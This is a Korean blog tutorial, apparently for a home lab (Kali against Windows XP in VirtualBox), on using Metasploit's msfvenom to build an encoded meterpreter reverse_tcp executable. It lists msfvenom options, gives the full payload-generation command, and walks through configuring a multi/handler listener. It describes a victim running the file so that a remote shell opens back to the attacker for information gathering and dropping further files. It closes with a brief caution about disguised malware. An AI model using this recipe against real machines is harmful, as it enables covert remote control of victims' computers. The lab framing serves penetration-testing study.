본문 바로가기

보안/Kali

Metasploit-msfvenom로 인한 기본 악성 실행파일 제작

Msfvenom

Metasploit Framework 안에 유용한 도구인 msfpayload, msfencode 등 여러 도구가 포함되어 있는데 msfvenom은 모든 기능을 집합한 단일 도구에 결합을 하여 한줄 코드로 exploit 실행 파일 및 악성 쉘 코드 제작이 가능합니다. 

Msfvenom 사용법

옵션 설명
-h 도움말
-l all 페이로드, 인코딩, NOP 종류 및 사용방법
--help-format 출력 포맷
-p 페이로드 ex) /windown/shell/bind_tcp
-o 저장할 파일 이름
-e 인코딩 방식
-i 인코딩 횟수
-a 아키텍처(x86)
--platform 운영체제
-b 샐성할 페이로드에서 제외할 문자 지정
-c 기존 페이로드 추가 ex) 기존 제작된 msfvenom 파일 추가

 

실습 환경

virtualBox ( kali 2019 <-> WinXP )

[공격 순서]

kali: msfvenom 생성 -> service postgresql -> msfconsole -> multi/handler -> 리스너

WinXP: msfvenom 파일 다운로드 -> 실행 -> 세션 연결

 

kali

1) 명령어 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -o payload.exe

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -o payload.exe

msfvenom 제작 과정으로 -p 페이로드, -e 인코딩, -o 실행파일 제작 옵션을 사용

 

2) msfconsole 

* db 사용하실 분은 msfconsole 명령어 입력 전에 service postgresql 사용

3) handler 설정

multi/handler 사용

 

show options

multi/handler의 기존 payload에서는 옵션 설정이 없으므로 다른 payload로 설정해준다.

set payload windows/meterpreter/reverse_tcp

VictimPC에서 악성파일을 실행 시켜 Kali로 세션을 붙을 예정이므로 reverse_tcp payload를 설정한다.

reverse_tcp payload는 기본 설정에서 Lhost가 공란이므로 Lhost를 자기 ip로 설정한다.

ip 설정

multi/handler 설정 완료 되었으므로 실행을 해준다.

run or exploit

실행 후 세션을 리스너하면서 상대방이 연결하여 통신되기를 기달린다.

 

WinXP

Kali에서 msfvenom을 사용하여 제작한 payload 파일을 WinXP에 가져와서 실행시키면 된다.

WinXP에서 실행시키면 payload는 아무것도 실행안된 것처럼 보이지만 background에서 payload.exe가 착실히 실행되는 것을 확인 할 수 있다.

payload.exe는 지정된 ip로 세션통신을 시도하려고 한다.

WinXP에서 payload.exe를 실행시켰을 경우

payload.exe가 정상적으로 실행되면 설정된 ip로 세션 통신을 시도하면서 칼리에서 리스너를 설정하고 있을 시 정상적으로 통신이 이루어지면서 meterpreter가 실행되면서 공격자 PC는 희생자 PC에 정보수집 및 악성파일 삽입을 할 수 있다.

 

* 인터넷 상에서는 정상적인 파일로 위장한 악성파일이 많이 있으며 주의를 가지고 실행하여야 한다. 그렇지 아니하면 본인도 모르는 사이에 미상인 해커의 PC와 세션통신을 하고 있을 가능성이 있다.